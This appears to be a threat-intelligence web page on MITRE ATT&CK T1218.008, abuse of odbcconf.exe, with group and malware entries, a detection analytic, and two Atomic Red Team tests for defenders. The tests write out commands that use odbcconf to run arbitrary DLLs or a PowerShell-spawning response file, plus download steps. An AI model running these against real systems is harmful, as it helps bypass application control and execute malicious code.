tfMITRE ATT&CK sub-technique

Odbcconf T1218.008

sub-technique of T1218 System Binary Proxy Execution

Tactic: Stealth
Platform: Windows
Version: 3.0
Created: 24 January 2020
Last modified: 12 May 2026

Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.[1] The Odbcconf.exe binary may be digitally signed by Microsoft.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups45th pct

Threat groups45th percentile · 55% of ATT&CK techniques have more threat groups attributed.

CampaignsNone recorded

CampaignsNone recorded · 54% of ATT&CK techniques have none either.

Tools & malware51st pct

Tools & malware51st percentile · 51% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesTop 23%

Detection rules77th percentile · 77% of ATT&CK techniques have this many detection rules written or fewer.

Odbcconf MITRE reference T1218.008

45th pctamong all ATT&CK techniques for number of groups

1 group has been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

Cobalt GroupG0080 ↗

Has used odbcconf to proxy the execution of malicious DLL files.1

created 2018-10-171 referenceaka GOLD KINGSWOOD

All 1 groups for this technique

2 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

Raspberry RobinS1130 ↗

Uses the Windows utility odbcconf.exe to execute malicious commands, using the regsvr flag to execute DLLs and bypass application control mechanisms that are not monitoring for odbcconf.exe abuse.1

created 2024-05-17MALWARE

BumblebeeS1039 ↗

Can use odbcconf.exe to run DLLs on targeted hosts.1

created 2022-08-19MALWAREcarried by 2 groups

All 2 software entries for this technique

Offense vs defense T1218.008

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 0Sigma rules (cumulative) · 8Splunk ESCU (cumulative) · 3

first rule: 2022 Q2

Odbcconf detection strategy DET0486

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detecting Odbcconf Proxy Execution of Malicious DLLs

Enterprise

1 platform

AN1335 · Windows

Identifies abuse of odbcconf.exe to execute malicious DLLs using the REGSVR command flag. Behavior chain: (1) Process creation of odbcconf.exe with /REGSVR or /A {REGSVR ...} arguments → (2) DLL load by odbcconf.exe of non-standard or unsigned modules → (3) Optional follow-on process creation or network activity from loaded DLL.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Module LoadDC0016	WinEventLog:Sysmon	EventCode=7
Process CreationDC0032	WinEventLog:Security	EventCode=4688
Network Connection CreationDC0082	WinEventLog:Sysmon	EventCode=3, 22

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ParentProcessName	List of approved processes that may legitimately invoke odbcconf.exe
AllowedCommandPatterns	Known-good odbcconf.exe arguments in the environment
TimeWindow	Time range for correlating module loads and network activity after odbcconf.exe execution
ApprovedModuleHashes	Baseline of legitimate DLLs loaded by odbcconf.exe

Tests2Executorscmd 2Need elevation0 of 2Have prerequisites2Have cleanup0Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Odbcconf.exe - Execute Arbitrary DLL

windows

cmd

—

Execute arbitrary DLL file stored locally.

Input arguments

Name	Type	Default	Description
dll_payload	path	PathToAtomicsFolder\T1218.008\src\Win32\T1218-2.dll	DLL to execute

Attack command

odbcconf.exe /S /A {REGSVR "#{dll_payload}"}

Prerequisite

T1218-2.dll must exist on disk at specified location (#{dll_payload})

Check

if (Test-Path "#{dll_payload}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/src/Win32/T1218-2.dll" -OutFile "#{dll_payload}"

GUID8972056f-7a28-458a-b352-af0dd482e1c7

Odbcconf.exe - Load Response File

windows

cmd

—

Execute arbitrary response file that will spawn PowerShell.exe. Source files: https://github.com/woanware/application-restriction-bypasses

Input arguments

Name	Type	Default	Description
rsp_file_name	string	T1218.008.rsp	Response file name to load
rsp_file_path	string	PathToAtomicsFolder\T1218.008\bin\	Response file path

Attack command

cd "#{rsp_file_path}"
odbcconf.exe -f "#{rsp_file_name}"

Prerequisite

T1218.008.rsp must exist on disk at specified location (#{rsp_file_path}#{rsp_file_name})

Check

if (Test-Path "#{rsp_file_path}#{rsp_file_name}") {exit 0} else {exit 1}

Satisfy

Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/bin/T1218.008.rsp" -OutFile "#{rsp_file_path}#{rsp_file_name}"
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/bin/o.dll" -OutFile "#{rsp_file_path}\o.dll"

GUIDd22d9cce-1dc1-4f3d-8f19-0e0350b0e43f

Tests from Atomic Red Team (MIT licence) · technique definition

Odbcconf detections T1218.008

11 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 23%of all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs